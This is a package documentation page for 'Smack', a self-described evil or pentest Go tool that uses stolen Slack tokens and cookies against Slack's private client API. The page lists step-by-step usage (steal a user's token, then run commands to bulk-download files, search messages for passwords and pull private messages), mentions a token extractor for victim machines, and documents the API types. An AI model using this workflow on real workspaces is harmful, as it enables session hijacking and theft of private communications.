smack

package module
v0.0.0-...-bf41841 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Dec 20, 2020 License: MIT Imports: 13 Imported by: 0

README

Smack

WARNING: Experimental

A tool to use the non-public Slack user interaction API to do evil. Current / planned capabilities are as follows:

  • Download all files accessible by the user using built-in search filters or mime-type extraction
  • Search for messages using search queries and download them all
  • Get a list of channels on a server
  • Retrieve user information and rights information
  • Download all history from a channel (PARTIAL)
  • Extract a users private messages

Some important sub-features planned:

  • No external modules, stdlib the whole way
  • Portable for use on windows
  • UNIX socket API for automation

Installation

git clone git.sr.ht/~poptart/smack 
cd "${GOPATH}/src/git.sr.ht/~poptart/smack/cmd/smack"
go build smack.go

or

go get git.sr.ht/~poptart/smack

Usage

usage: ./smack command [-vh] [-a user_agent] [-t token]
[-x x_cookie] [-u subdomain] [-c json_config] [command specific flags]
Globally used flags:
   -h: Print help and exit
   -v: Verbose
   -a user_agent: User-Agent string defaults to
                 ("Mozilla/5.0 (Windows NT 10.0; Win64; x64)
                 AppleWebKit/537.36 (KHTML, like Gecko)
                 Chrome/73.0.3683.103 Safari/537.36")
   -t token: Slack token to use for interactions, this is from
             localStorage. Often in the format of "xoxp-*"
   -x x_cookie: User authentication cookie from cookie storage
   -u subdomain: The subdomain for authentication i.e.: "metasploit"
                 will refer to"metasploit.slack.com"
   -c json_config: Read configuration from json, an example can be seen
                   in the source "examples/config.json". Flags should
                   override settings in configuation.
Command specific flags:
   emoji: Retrieves information about emojis
      -o: output file
      -s: per user stats
   files: Retrieves all files on a Slack server
      -n: Do not download the documents only retrieve their information
      -q query: query is used for Slack search. Currently all built in
                Slack filters for text are supported, and common
                type:filters are updated in the api.go file. Useful
                ones are 'type:all', 'type:zip', 'type:pdf'.
      -f filter: Files that content-type match filter will be selected.
                 This is most useful with '-q type:all' to filter for
                 files that Slack does not directly support for
                 filtering. Example: -f "application/pdf"
      -o output: Where to output downloaded files too, this is expected
                 to be a directory
   messages: Retrieves messages from a Slack server
      -q query: query is used for Slack search. Currently all built in
                Slack filters for text are supported
      -p: retrieve messages "to" and "from" the user, aka private
          messages
      -o outfile: write the messages to 'outfile'
      -i convid: retrieve messages from a conversation id (from channel
                 or conversation). Add -l option to limit the returned
                 results.
      -l limit: only return "limit" number of responses. Must be a
                integer
   channels: List all channels or channel information
      -q query: query for a list of channels matching this string
      -o outfile: write channels to file
      -p: search for only private channels
      -i convid: retrive information about a specific channel by id
   check: List information and check configuration
      -o outfile: write channels to file
      -q: do not output anything except errors, useful for quick checks

Subcommands:

  • files - Download all matching files on a query and filter string
  • messages - Download all the messages matching a query
  • channels - List all channels on a server
  • check - Test a configuration and get client information
  • emoji - Get information and lists of emoji
  1. Steal a users token and cookies
  2. Generate a configuration file using examples/config.json as a template (NOTE: some API's might need different arguments. Generally URL, Token, and B cookie are needed)
  3. Run the check command
  4. Steal things:
./smack check -c examples/fakeserver.json
./smack files -c examples/fakeserver.json -q "type:zip" -o /tmp/
./smack files -c examples/fakeserver.json -q "type:zip password" -o /tmp/
./smack files -c examples/fakeserver.json -q "type:all" -f "text/plain" -o /tmp/
./smack messages -c examples/fakeserver.json -q "wifi password"
./smack messages -c examples/fakeserver.json -p
./smack channels -c examples/fakeserver.json
./smack channels -c examples/fakeserver.json -p -q "devops"

Extractors

The smack project also attempts to maintain a way to extract the Slack tokens from victim systems. It additionally attempts to have functionality for many types of systems and many different methods for extractions. The following list of extractors is either in the works or exists:

  • Shell script - cmd/extractors/linux/extract.sh - Runs a bunch of strings on leveldb to extract tokens
  • C# executable and dll - cmd/extractors/win/cs/ - (PLANNED)
  • Go - cmd/extractors/win/go/ - (PLANNED)

Documentation

Index

Constants

View Source
const (
	// all, file, post, email, snippet, image, zip, pdf, gdoc, google, gdraw, gpres, and gsheet
	FileFilterAll     = "type:all"
	FileFilterPDF     = "type:pdf"
	FileFilterFile    = "type:file"
	FileFilterPost    = "type:post"
	FileFilterEmail   = "type:email"
	FileFilterSnippet = "type:snippet"
	FileFilterImage   = "type:image"
	FileFilterZip     = "type:zip"
)

These are all the filters that are "supported" by Slack for search filters for files

Variables

View Source
var (
	APIBoot                 = "/api/client.boot"
	APIEmojiAdd             = "/api/emoji.add"
	APIEmojiList            = "/api/emoji.adminList"
	APISearch               = "/api/search.modules"
	APIConversationsView    = "/api/conversations.view"
	APIConversationsHistory = "/api/conversations.history"
)

The Slack "private" API endpoints are only ever interacted with from the UIs like the web client or node/electron client. These are the endpoints that were used for the functionality that is needed

Functions

This section is empty.

Types

type ChannelInfo

type ChannelInfo struct {
	Id        string
	IsChannel bool `json:"is_channel"`
	IsShared  bool `json:"is_ext_shared"`
	IsIm      bool `json:"is_im"`
	Name      string
	User      string
}

Channel information TODO this can probably be added to the other types

type ChannelSearch

type ChannelSearch struct {
	Pagination Pages
	Items      []ConversationItem
}

Search results for channels, these are paginated and contain multiple items

type ClientInfo

type ClientInfo struct {
	Ok       bool
	Channels []ConversationItem
	Info     InfoItem `json:"self"`
	Team     TeamItem `json:"team"`
}

Client information from the boot API endpoint

type Config

type Config struct {
	UserAgent string
	Authority string
	BCookie   string
	DCookie   string
	XCookie   string
	Token     string
	URL       string
}

Smack configuration settings

type ConversationItem

type ConversationItem struct {
	Id          string
	IsMember    bool `json:"is_member"`
	IsPrivate   bool `json:"is_private"`
	IsStarred   bool `json:"is_starred"`
	IsArchived  bool `json:"is_archived"`
	IsGroup     bool `json:"is_group"`
	IsChannel   bool `json:"is_channel"`
	Latest      string
	MemberCount int `json:"member_count"`
	Members     []string
	History     []ConversationsHistory
	Purpose     PurposeInfo
	Topic       TopicInfo
	Name        string
}

Group, Channel, and potentially other types of messages are returned through the conversation api and contain information on the channel or group message. This can also potentially contain conversation history.

type ConversationMessage

type ConversationMessage struct {
	Team      string
	Text      string
	Timestamp string `json:"ts"`
	Type      string
	User      string
}

Messages from the conversation endpoint return information on the type of message, the user that posted it, when it was posted, and the content itself

type ConversationsHistory

type ConversationsHistory struct {
	Ok       bool
	More     bool `json:"has_more"`
	Messages []ConversationMessage
}

History information that contains a list of messages from the conversations.view

type ConversationsView

type ConversationsView struct {
	Ok      bool
	Channel ConversationItem
	Users   []InfoItem
	History ConversationsHistory
	Group   ConversationItem
}

Core structure for the conversations view API enpdoint. The structure of the actual response is surprisingly inconsistent and the specific populated fields change depend on some of the multi-part requests. So error checking and empty value validation should be done by anyone consuming these types, they should never be expected to exist.

type Emoji

type Emoji struct {
	Name    string
	Alias   string `json:"alias_for"`
	IsAlias int    `json:"is_alias"`
	AddedBy string `json:"user_display_name"`
	URL     string `json:"url"`
	Created int
}

type EmojiList

type EmojiList struct {
	Ok         bool
	Count      int        `json:"custom_emoji_total_count"`
	Pagination EmojiPages `json:"paging"`
	EmojiList  []Emoji    `json:"emoji"`
}

type EmojiPages

type EmojiPages struct {
	Count int
	Pages int
	Page  int
}

type FileItem

type FileItem struct {
	Name               string
	ID                 string
	Permalink          string
	PrivateDownloadURL string `json:"url_private_download"`
	PrivateURL         string `json:"url_private"`
	PrettyPrint        string `json:"pretty_print"`
	User               string
	Filetype           string
	Mimetype           string
	Size               int
}

File search result information

type FileSearch

type FileSearch struct {
	Pagination Pages
	Items      []FileItem
}

Response from the search API containing the pagination information and results

type InfoItem

type InfoItem struct {
	Id       string
	IsAdmin  bool   `json:"is_admin"`
	IsApp    bool   `json:"is_app_user"`
	IsBot    bool   `json:"is_bot"`
	IsOwner  bool   `json:"is_owner"`
	Username string `json:"name"`
	Name     string `json:"real_name"`
	Profile  ProfileInfo
}

Information on the client that is making the request. This can hold valuable information such as if the account is an admin, bot, owner, profile information, etc.

type MessageItem

type MessageItem struct {
	Extracts  string
	Iid       string
	Text      string
	User      string
	Timestamp string `json:"ts"`
	Username  string
}

Information on the message match

type MessageSearch

type MessageSearch struct {
	Pagination Pages
	Items      []SearchMessageItem
}

Results from a search containing matching search matches

type Pages

type Pages struct {
	Count     int `json:"total_count"`
	PerPage   int `json:"per_page"`
	PageCount int `json:"page_count"`
	First     int
	Last      int
}

Pagination information

type ProfileInfo

type ProfileInfo struct {
	DisplayName string `json:"display_name"`
	Email       string
	FirstName   string `json:"first_name"`
	LastName    string `json:"last_name"`
	Phone       string
	Skype       string
	Title       string
}

The profile information contains the personal data of the user.

type PurposeInfo

type PurposeInfo struct {
	Creator string
	Changed int `json:"last_set"`
	Value   string
}

Channel purpose information

type SearchMessageItem

type SearchMessageItem struct {
	Messages []MessageItem `json:"messages"`
	Channel  ChannelInfo   `json:"channel"`
}

The matching messages and channel information

type Smack

type Smack struct {
	//TODO slack throttling
	Request *http.Request
	Headers map[string]string
	URL     string
	Token   string
	Log     log.Logger
}

Smack takes Slack client API tokens and cookies and allows for a set of pentest focused functions to be called that can assist with exfiltration of sensitive data or even persistence mechanisms. The goal is to allow for automatic extraction of browser tokens and triggering of Smack for quick sensitive data exposure.

func NewRequest

func NewRequest(url string, token string) Smack

Create a new HTTP request and prepare headers for use with other utilities

func ReadConfig

func ReadConfig(file string) (Smack, error)

Read JSON configuration files. See examples/ directory

func (*Smack) DownloadAll

func (s *Smack) DownloadAll(fi []FileItem, directory string) error

Download all files from an array of FileItem's and place them into a directory. When downloading all Smack prepends the document ID to the filename before writing to disk to allow for name collisions without overriding.

func (*Smack) DownloadFile

func (s *Smack) DownloadFile(i FileItem, location string) (int64, error)

Download a file based on the FileItem information and the location to place the file. If successful the request will return the size of the downloaded file.

func (*Smack) GetChannelList

func (s *Smack) GetChannelList(token, query string, private bool) ([]ConversationItem, error)

Get a list of channels. This can be refined to contain only matching search queries and if channels are marked private. This will make multiple requests due to interactive API pagination, and then return the final list of channels in an slice in whichever order the api returned the data

func (*Smack) GetClientBoot

func (s *Smack) GetClientBoot(token string) (ClientInfo, error)

Retrieve the client information from the "boot" endpoint. This contains information about the hijacked tocken user including all their personal information, Slack settings, and permissions on the Slack server.

func (*Smack) GetConversationHistory

func (s *Smack) GetConversationHistory(token, convId string, limit int) ([]ConversationMessage, error)

Get history of a conversation. If there are scrollbacks more than maximum paginadtion this will recurse until no more messages can be retrieved or the limit is reached.

func (*Smack) GetConversationInfo

func (s *Smack) GetConversationInfo(token, convId string) (ConversationsView, error)

Retrieve information on a conversation, group chat, private message, or channel based on id. These can be retrieved from the Smack channel functions.

func (*Smack) GetEmojiInfo

func (s *Smack) GetEmojiInfo(token string) (EmojiList, error)

func (*Smack) GetFileList

func (s *Smack) GetFileList(token, query string) ([]FileItem, error)

Retrieve a listing of files based on a Slack search query

func (*Smack) GetMessageSearchList

func (s *Smack) GetMessageSearchList(token, query string) ([]SearchMessageItem, error)

Retrieve a list of messages that match a search query.

func (*Smack) SetHeaders

func (s *Smack) SetHeaders(hs map[string]string)

Set the headers for Smack types

type TeamItem

type TeamItem struct {
	Id           string
	Name         string
	EmailDomain  string `json:"email_domain"`
	Domain       string
	MessageCount int `json:"messages_count"`
}

The team information will store data about the slack server and it's team. Slack seems to be moving away from the queries to each of them and to app.slack.com so this might become necessary in order to get the team inforId

type TopicInfo

type TopicInfo struct {
	Creator string
	Changed int `json:"last_set"`
	Value   string
}

Channel topic information

Directories

Path Synopsis
cmd

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL